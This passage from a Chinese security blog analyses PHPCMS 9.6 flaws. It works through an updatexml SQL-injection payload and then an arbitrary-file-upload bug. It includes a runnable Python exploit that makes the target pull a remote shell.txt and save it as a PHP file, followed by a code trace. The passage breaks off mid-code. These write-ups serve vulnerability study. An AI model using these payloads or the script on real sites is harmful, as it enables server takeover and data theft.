alt="image-20210328145945198"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%<span class="number">26</span>id=%<span class="number">27</span>andupdatexml%<span class="number">281</span>%<span class="number">2</span>Cconcat%<span class="number">281</span>%<span class="number">2</span>C%<span class="number">28</span>user%<span class="number">28</span>%<span class="number">29</span>%<span class="number">29</span>%<span class="number">29</span>%<span class="number">2</span>C1%<span class="number">29</span>%<span class="number">23</span>%<span class="number">26</span>m%<span class="number">3</span>D1%<span class="number">26</span>modelid%<span class="number">3</span>D1%<span class="number">26</span>catid%<span class="number">3</span>D1%<span class="number">26</span>f%<span class="number">3</span>DTao</span><br></pre></td></tr></table></figure><p>接着走到Step3的代码位置,可以发现<code>parse_str</code>执行完了,并没有得到<code>$id</code>变量。前面说到<code>parse_str</code>函数是根据<code>&</code>符进行解析注册的。但是由于这里urlencode将我们的<code>&</code>进行编码了,没有解析注册对应的变量。所以报了上面的参数错误。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328150413726.png" alt="image-20210328150413726"></p><p>上面的分析很清楚的说明了问题,就是对url多进行了一次<code>encode</code>。那么怎么解决呢?这时候我猜看到这里的人你们肯定想的是将<font color="red">Step2</font>的URL进行<code>urlencode</code>解码,然后再追加上去(是不是?),那么代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">"%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao"</span></span><br><span class="line">url_two = url + <span class="string">"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id={}"</span>.format(payload) </span><br></pre></td></tr></table></figure><p>执行如下图,报<code>Controller does not exist.</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328160718718.png" alt="image-20210328160718718"></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.phpcms96.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%2526id=%25*27%20and%20updatexml(1,concat(1,(user())),1)%2523&modelid=1&catid=1&m=1&f=Tao</span><br></pre></td></tr></table></figure><p>由于是MVC架构,我们后面的<code>m=1</code>跟前面的<code>m=attachments</code>冲突了。我们将后面的<code>m=1</code>删除试一试。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328161836408.png" alt="image-20210328161836408"></p><p>还有有问题啊,没有<code>&</code>符。看到这里,你肯定又会觉得,直接把id前面的<code>%26</code>改成<code>&</code>不就好了嘛?</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">"%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao"</span></span><br><span class="line">url_two = url + <span class="string">"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id={}"</span>.format(payload) </span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328162339048.png" alt="image-20210328162339048"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328162419778.png" alt="image-20210328162419778"></p><p><code>src=''</code>那这个漏洞就没法利用,所以说这个利用思路真的很妙。</p><p>就是删除了<code>m=1</code>,就没办法过下面的代码了。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328173701045.png" alt="image-20210328173701045"></p><p>好了好了不绕了,还是整理一下来说吧(前面还有一些细节点没说到)。前面说了一堆,大概情况总结下来如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328175409487.png" alt="image-20210328175409487"></p><p>则这一切一切原因就是<code>id=%*27</code>这段部分,为什么这么说呢?贴下处理URL的代码吧(重点关注注释<code>!!!</code>的代码)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">// requests源代码 urllib3/util/url.py文件</span><br><span class="line"></span><br><span class="line">PERCENT_RE = re.compile(<span class="string">r"%[a-fA-F0-9]{2}"</span>)<span class="comment"># !!!</span></span><br><span class="line">.....</span><br><span class="line"> component, percent_encodings = PERCENT_RE.subn(</span><br><span class="line"> <span class="keyword">lambda</span> match: match.group(<span class="number">0</span>).upper(), component</span><br><span class="line"> )<span class="comment"># !!!</span></span><br><span class="line"></span><br><span class="line"> uri_bytes = component.encode(<span class="string">"utf-8"</span>, <span class="string">"surrogatepass"</span>)</span><br><span class="line"> is_percent_encoded = percent_encodings == uri_bytes.count(<span class="string">b"%"</span>)<span class="comment"># !!!</span></span><br><span class="line"> encoded_component = bytearray()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, len(uri_bytes)):</span><br><span class="line"> <span class="comment"># Will return a single character bytestring on both Python 2 & 3</span></span><br><span class="line"> byte = uri_bytes[i : i + <span class="number">1</span>]</span><br><span class="line"> byte_ord = ord(byte)</span><br><span class="line"> <span class="keyword">if</span> (is_percent_encoded <span class="keyword">and</span> byte == <span class="string">b"%"</span>) <span class="keyword">or</span> (<span class="comment"># !!!</span></span><br><span class="line"> byte_ord < <span class="number">128</span> <span class="keyword">and</span> byte.decode() <span class="keyword">in</span> allowed_chars</span><br><span class="line"> ):</span><br><span class="line"> encoded_component += byte</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> encoded_component.extend(<span class="string">b"%"</span> + (hex(byte_ord)[<span class="number">2</span>:].encode().zfill(<span class="number">2</span>).upper()))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> encoded_component.decode(encoding)</span><br></pre></td></tr></table></figure><p>看到这里,你应该知道怎么回事了吧,如果你还不知道,也没关系。我们通过对比观察现象来说明问题:</p><ul><li>调试将<code>%</code>encode的代码</li></ul><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328180909249.png" alt="image-20210328180909249"></p><ul><li>调试不会将<code>%</code>encode的代码</li></ul><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328181606146.png" alt="image-20210328181606146"></p><p>具体我也不知道怎么说,大概就是我们url编码的数据(比如<code>%27</code>等多个,完整的)通过正则匹配的,需要跟<code>uri_bytes.count(b"%")</code>获取的相等,而这里由于单独的<code>%</code>(不相等),因此就会被<code>encode</code>。</p><p>由于<font color="red">Step2</font>的poc是需要经过<code>safe_replace</code>处理,然后拼接构造的SQL语句,这里我们只需要将<code>%</code>进行url编码即可,于是我们脚本的poc如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">"%25*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao"</span></span><br></pre></td></tr></table></figure><p>到了这一步,还没有完,因为依旧没法成功利用,看下图,还是参数错误。(原因就是前面提到的MVC架构,这里m冲突的问题)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328182146207.png" alt="image-20210328182146207"></p><p>调试的时候直接到了Step3哪里。<code>$a_k</code>还是空(说明未经过<code>swfupload_json()</code>)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328194150558.png" alt="image-20210328194150558"></p><p>正常来说执行如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328182535779.png" alt="image-20210328182535779"></p><p>恶意代码是通过src参数传入的,而第3处对其他变量进行了判断。根据前面分析的截图,已知访问Step2链接的时候会进行<code>decode</code>,所以我们需要将<code>&</code>进行url编码,最终的脚本poc如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">"%25*27 and updatexml(1,concat(1,(user())),1)%23%26modelid=1%26catid=1%26m=1%26f=Tao"</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328182942143.png" alt="image-20210328182942143"></p><p>没问题了!!!</p><p>脚本报错的主要原因是<code>id=%*27</code>中这个<code>%</code>搞得鬼(但是这么写也是一定的,绕过<code>safe_replace</code>函数然后拼接SQL语句)。还有<code>&</code>。由此可知,我们只需要将后面<code>id</code>后面的数据编码就可以成功利用。当然啦,最推荐得写法是利用<code>quote</code>函数。这个函数的作用就是进行特殊符号的encode。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328183316790.png" alt="image-20210328183316790"></p><p>看到这里,肯定又会有人要问了,你上面调用的是<code>requests.utils.quote()</code>,怎么放的图是<code>urllib.parse.unquote()</code>。</p><blockquote><p><code>urllib.parse.unquote</code>官方文档有说明,<code>requests</code>是第三方库,它官网文档我没看到对此函数的说明。但是都是一样的。</p></blockquote><p>使用这个函数后,访问的URL如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'http://www.phpcms96.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%25%2A27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%2523%26modelid%3D1%26catid%3D1%26m%3D1%26f%3DTao'</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328153708049.png" alt="image-20210328153708049"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328183720027.png" alt="image-20210328183720027"></p><p> 文章中有什么不足和错误的地方还望师傅们指正。</p>]]></content>
<summary type="html"><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>参考<a href="https://taonn.github.io/2021/02/06/%E4%BB%A3%E7%A0%</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="代码审计" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="PHP代码审计" scheme="https://taonn.github.io/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>代码审计之PHPCMS_V9.6.0任意文件上传漏洞分析</title>
<link href="https://taonn.github.io/2021/02/07/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMSV9-6-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>https://taonn.github.io/2021/02/07/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMSV9-6-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
<published>2021-02-07T01:39:31.000Z</published>
<updated>2021-04-08T13:16:33.773Z</updated>
<content type="html"><![CDATA[<h1 id="PHPCMS-V9-6-0任意文件上传漏洞分析"><a href="#PHPCMS-V9-6-0任意文件上传漏洞分析" class="headerlink" title="PHPCMS_V9.6.0任意文件上传漏洞分析"></a>PHPCMS_V9.6.0任意文件上传漏洞分析</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式。</p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>本次PHPCMS版本为<code>9.6.0</code>,安装步骤跟上一篇文章一样,参考<a href="https://taonn.github.io/2021/02/06/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMSV9-2%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">PHPCMS_V9.2任意文件上传getshell漏洞分析</a></p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>在注册用户处,添加用户进行抓包(这里以Tao为例)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313203000959.png" alt="image-20210313203000959"></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#poc</span></span><br><span class="line">siteid=<span class="number">1</span>&modelid=<span class="number">11</span>&username=Tao&password=<span class="number">123456</span>&email=Tao@qq.com&info[<span class="type">content</span>]=<img src=http://www.tao.com/t.txt?.php<span class="comment">#.jpg>&dosubmit=1&protocol=</span></span><br><span class="line"><span class="comment"># http://www.tao.com/t.txt显示的内容为你要上传的文件内容</span></span><br></pre></td></tr></table></figure><p>本次测试中, <code>http://www.tao.com/t.txt</code>文本内容如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313203253414.png" alt="image-20210313203253414"></p><p>修改,放包回显如下,然后我们访问该返回的url</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313203647323.png" alt="image-20210313203647323"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313203805927.png" alt="image-20210313203805927"></p><p>利用成功!!!这里再贴个脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">version: python3</span></span><br><span class="line"><span class="string">Author: Tao</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">anyfile_up</span>(<span class="params">surl,url</span>):</span></span><br><span class="line"> url = <span class="string">"{}/index.php?m=member&c=index&a=register&siteid=1"</span>.format(url)</span><br><span class="line"> data = {</span><br><span class="line"> <span class="string">'siteid'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'modelid'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'username'</span>: <span class="string">'Tao{}'</span>.format(random.randint(<span class="number">1</span>,<span class="number">9999</span>)),</span><br><span class="line"> <span class="string">'password'</span>: <span class="string">'123456'</span>,</span><br><span class="line"> <span class="string">'email'</span>: <span class="string">'Tao{}@xxx.com'</span>.format(random.randint(<span class="number">1</span>,<span class="number">9999</span>)),</span><br><span class="line"> <span class="string">'info[content]'</span>: <span class="string">'<img src={}?.php#.jpg>'</span>.format(surl),</span><br><span class="line"> <span class="string">'dosubmit'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'protocol'</span>: <span class="string">''</span></span><br><span class="line"> }</span><br><span class="line"> r = requests.post(url, data=data)</span><br><span class="line"> return_url = re.findall(<span class="string">r'img src=(.*)&gt'</span>,r.text)</span><br><span class="line"> <span class="keyword">if</span> len(return_url):</span><br><span class="line"> <span class="keyword">return</span> return_url[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="keyword">if</span> len(sys.argv) == <span class="number">3</span>:</span><br><span class="line"> return_url = anyfile_up(sys.argv[<span class="number">1</span>],sys.argv[<span class="number">2</span>])</span><br><span class="line"> print(<span class="string">'seccess! upload file url: '</span>, return_url)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> message = \</span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> python3 anyfile_up.py [上传内容URL地址] [目标URL]</span></span><br><span class="line"><span class="string"> example: python3 anyfile_up.py http://www.tao.com/shell.txt http://www.phpcms96.com</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> print(message)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>运行效果如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313210542652.png" alt="image-20210313210542652"></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>这个漏洞存在于用户注册处,通过上面请求的地址(<code>/index.php?m=member&c=index&a=register&siteid=1</code>),定位处理请求的函数为<code>register</code>,位于文件<code>phpcms/modules/member/index.php</code>33行处。</p><p>为了更好的理解漏洞的原理和利用的巧妙之处,我们就先看看正常的注册流程。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 61-79</span></span><br><span class="line">$userinfo = <span class="keyword">array</span>();</span><br><span class="line">$userinfo[<span class="string">'encrypt'</span>] = create_randomstr(<span class="number">6</span>);</span><br><span class="line"></span><br><span class="line">$userinfo[<span class="string">'username'</span>] = (<span class="keyword">isset</span>($_POST[<span class="string">'username'</span>]) && is_username($_POST[<span class="string">'username'</span>])) ? $_POST[<span class="string">'username'</span>] : <span class="keyword">exit</span>(<span class="string">'0'</span>);</span><br><span class="line">$userinfo[<span class="string">'nickname'</span>] = (<span class="keyword">isset</span>($_POST[<span class="string">'nickname'</span>]) && is_username($_POST[<span class="string">'nickname'</span>])) ? $_POST[<span class="string">'nickname'</span>] : <span class="string">''</span>;</span><br><span class="line"></span><br><span class="line">$userinfo[<span class="string">'email'</span>] = (<span class="keyword">isset</span>($_POST[<span class="string">'email'</span>]) && is_email($_POST[<span class="string">'email'</span>])) ? $_POST[<span class="string">'email'</span>] : <span class="keyword">exit</span>(<span class="string">'0'</span>);</span><br><span class="line">$userinfo[<span class="string">'password'</span>] = (<span class="keyword">isset</span>($_POST[<span class="string">'password'</span>]) && is_badword($_POST[<span class="string">'password'</span>])==<span class="literal">false</span>) ? $_POST[<span class="string">'password'</span>] : <span class="keyword">exit</span>(<span class="string">'0'</span>);</span><br><span class="line"></span><br><span class="line">$userinfo[<span class="string">'email'</span>] = (<span class="keyword">isset</span>($_POST[<span class="string">'email'</span>]) && is_email($_POST[<span class="string">'email'</span>])) ? $_POST[<span class="string">'email'</span>] : <span class="keyword">exit</span>(<span class="string">'0'</span>);</span><br><span class="line"></span><br><span class="line">$userinfo[<span class="string">'modelid'</span>] = <span class="keyword">isset</span>($_POST[<span class="string">'modelid'</span>]) ? intval($_POST[<span class="string">'modelid'</span>]) : <span class="number">10</span>;</span><br><span class="line">$userinfo[<span class="string">'regip'</span>] = ip();</span><br><span class="line">$userinfo[<span class="string">'point'</span>] = $member_setting[<span class="string">'defualtpoint'</span>] ? $member_setting[<span class="string">'defualtpoint'</span>] : <span class="number">0</span>;</span><br><span class="line">$userinfo[<span class="string">'amount'</span>] = $member_setting[<span class="string">'defualtamount'</span>] ? $member_setting[<span class="string">'defualtamount'</span>] : <span class="number">0</span>;</span><br><span class="line">$userinfo[<span class="string">'regdate'</span>] = $userinfo[<span class="string">'lastdate'</span>] = SYS_TIME;</span><br><span class="line">$userinfo[<span class="string">'siteid'</span>] = $siteid;</span><br><span class="line">$userinfo[<span class="string">'connectid'</span>] = <span class="keyword">isset</span>($_SESSION[<span class="string">'connectid'</span>]) ? $_SESSION[<span class="string">'connectid'</span>] : <span class="string">''</span>;</span><br><span class="line">$userinfo[<span class="string">'from'</span>] = <span class="keyword">isset</span>($_SESSION[<span class="string">'from'</span>]) ? $_SESSION[<span class="string">'from'</span>] : <span class="string">''</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上面代码对用户信息进行了处理,130行前的代码就是获取一下信息,意义不大。直接下断点到130行,然后<code>F9</code>跳到此处,代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>($member_setting[<span class="string">'choosemodel'</span>]) {</span><br><span class="line"> <span class="keyword">require_once</span> CACHE_MODEL_PATH.<span class="string">'member_input.class.php'</span>;</span><br><span class="line"> <span class="keyword">require_once</span> CACHE_MODEL_PATH.<span class="string">'member_update.class.php'</span>;</span><br><span class="line"> $member_input = <span class="keyword">new</span> member_input($userinfo[<span class="string">'modelid'</span>]);</span><br><span class="line"> $_POST[<span class="string">'info'</span>] = array_map(<span class="string">'new_html_special_chars'</span>,$_POST[<span class="string">'info'</span>]);</span><br><span class="line"> $user_model_info = $member_input->get($_POST[<span class="string">'info'</span>]);<span class="comment">// 135行,重点</span></span><br></pre></td></tr></table></figure><p>走到135,可以发现,这里<code>$_POST['info']</code>传入了<code>member_input</code>类中的<code>get</code>方法,跟进该方法。(该方法跳转至:<code>/caches/caches_model/caches_data/member_input.class.php</code>文件20行)</p><p>继续执行可发现,在这个<code>get</code>方法中,走到47行,获取了<code>datetime</code>函数,而48行也调用了该函数。</p><blockquote><p>这里留一个问题,为什么47行处获取的是<code>datetime</code>这个函数?</p></blockquote><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313215610842.png" alt="image-20210313215610842"></p><p>跟进一下这个函数,代码如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313220037379.png" alt="image-20210313220037379"></p><p>上面代码执行完以后,返回<code>$value="2021-03-13"</code>,然后返回<code>get</code>方法,执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$info[$field] = $value;</span><br><span class="line"><span class="keyword">return</span> $info;</span><br></pre></td></tr></table></figure><p>退出<code>get</code>方法,继续跟进,进入<code>ps_member_register</code>方法</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313220404057.png" alt="image-20210313220404057"></p><p>继续跟进,执行<code>insert</code>操作</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313220718466.png" alt="image-20210313220718466"></p><p><code>F7</code>跟进,执行到下图,将注册信息插入数据库,注册完成。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313220855915.png" alt="image-20210313220855915"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314230547401.png" alt="image-20210314230547401"></p><p>之后返回到<code>register</code>函数</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314230733721.png" alt="image-20210314230733721"></p><p>当<code>$status > 0</code>时,执行<code>insert</code>操作,这里将<code>生日日期</code>和<code>用户id</code>插入到<code>v9_member_detail</code>表中</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314230547401.png" alt="img26"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">INSERT INTO `phpcmsv96`.`v9_member_detail`(`birthday`,`userid`) VALUES (<span class="string">'2021-03-13'</span>php,<span class="string">'26'</span>)</span><br></pre></td></tr></table></figure><p>到这里,我们肯定还是不知道为什么上面调用的函数是<code>datetime</code>,先不急,我们整理一下注册的执行流程:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313222051498.png" alt="image-20210313222051498"></p><p>你是不是发现了什么?,接下来我们来分析一下为什么<code>$func="datetime"</code>。</p><p>首页由于<code>$func = $this->fields[$field]['formtype']</code>,我们按ctrl点击<code>$this->fields</code>,同一文件,第11行得到的,这里传了个<code>'model_field_'.$modelid</code>, 而<code>$modelid = 10</code>,跟进一下<code>getcache</code>方法</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210313223822786.png" alt="image-20210313223822786"></p><p>跳转至<code>phpsso_server/phpcms/libs/functions/global.func.php</code>文件,函数内容如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getcache</span>(<span class="params">$name, $filepath=<span class="string">''</span>, $type=<span class="string">'file'</span>, $config=<span class="string">''</span></span>) </span>{</span><br><span class="line"><span class="keyword">if</span>(!preg_match(<span class="string">"/^[a-zA-Z0-9_-]+$/"</span>, $name)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"><span class="keyword">if</span>($filepath!=<span class="string">""</span> && !preg_match(<span class="string">"/^[a-zA-Z0-9_-]+$/"</span>, $filepath)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">pc_base::load_sys_class(<span class="string">'cache_factory'</span>,<span class="string">''</span>,<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>($config) {</span><br><span class="line">$cacheconfig = pc_base::load_config(<span class="string">'cache'</span>);</span><br><span class="line">$cache = cache_factory::get_instance($cacheconfig)->get_cache($config);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">$cache = cache_factory::get_instance()->get_cache($type);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> $cache->get($name, <span class="string">''</span>, <span class="string">''</span>, $filepath);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>因为<code>$config</code>未进行传参,默认为空,因此执行的是<code>$cache = cache_factory::get_instance()->get_cache($type);</code>,执行<code>get_cahe</code>方法,传入参数<code>$type='file'</code>, 跟进一下此方法:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// phpcms/libs/classes/cache_factory.class.php 53行处</span></span><br><span class="line"><span class="keyword">protected</span> $cache_list = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">get_cache</span>(<span class="params">$cache_name</span>) </span>{</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">isset</span>(<span class="keyword">$this</span>->cache_list[$cache_name]) || !is_object(<span class="keyword">$this</span>->cache_list[$cache_name])) {</span><br><span class="line"><span class="keyword">$this</span>->cache_list[$cache_name] = <span class="keyword">$this</span>->load($cache_name);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>->cache_list[$cache_name];</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>$cache_list</code>是个空数组,因此<code>$this->cache_list[$cache_name]</code>不存在,且不是对象。跟着会执行下面的代码,我们跟进一下<code>load</code>方法.</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">$this</span>->cache_list[$cache_name] = <span class="keyword">$this</span>->load($cache_name);</span><br></pre></td></tr></table></figure><p><code>load</code>方法代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">load</span>(<span class="params">$cache_name</span>) </span>{</span><br><span class="line">$object = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->cache_config[$cache_name][<span class="string">'type'</span>])) {</span><br><span class="line"><span class="keyword">switch</span>(<span class="keyword">$this</span>->cache_config[$cache_name][<span class="string">'type'</span>]) {</span><br><span class="line"><span class="keyword">case</span> <span class="string">'file'</span> :</span><br><span class="line">$object = pc_base::load_sys_class(<span class="string">'cache_file'</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span 